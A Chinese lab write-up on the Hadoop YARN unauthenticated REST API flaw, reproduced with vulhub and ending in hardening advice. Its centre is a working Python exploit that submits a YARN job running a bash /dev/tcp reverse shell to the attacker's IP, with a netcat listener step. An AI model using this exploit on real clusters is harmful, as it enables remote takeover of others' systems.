0x01 漏洞簡介以及危害
Hadoop是一個由Apache基金會所開發的分布式系統基礎架構,由於服務器直接在開放了 Hadoop 機器 HDFS 的 50070 web 端口及部分默認服務端口,黑客可以通過命令行操作多個目錄下的數據,如進行刪除,下載,目錄瀏覽甚至命令執行等操作,產生極大的危害。
0x02 漏洞利用
環境復現
目標靶機:mac os
ip:192.168.2.85
攻擊機:kali
ip:10.211.55.8
Hadoop相關環境利用vulhub進行復現,vulhub安裝教程請自行百度
cd /vulhub/hadoop/unauthorized-yarn
docker-compose up -d

訪問http://ip:8088即可看到Hadoop YARN ResourceManager WebUI頁面,形成了未授權訪問

反彈shell
可以利用REST API命令執行,在攻擊機監聽端口,獲取反彈shell
#python exp:
#!/usr/bin/env python
import requests
target = 'http://192.168.2.85:8088/'
lhost = '10.211.55.8' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
nc監聽端口
nv -lvnp 9999
運行腳本,獲取shell
python hadoop.py


成功反彈shell,執行命令
0x03 防護建議
- 如無必要,關閉 Hadoop Web 管理頁面。
- 開啟身份驗證,防止未經授權用戶訪問。
- 設置“安全組”訪問控制策略,將 Hadoop 默認開放的多個端口對公網全部禁止或限制可信任的 IP 地址才能訪問包括 50070 以及 WebUI 等相關端口。
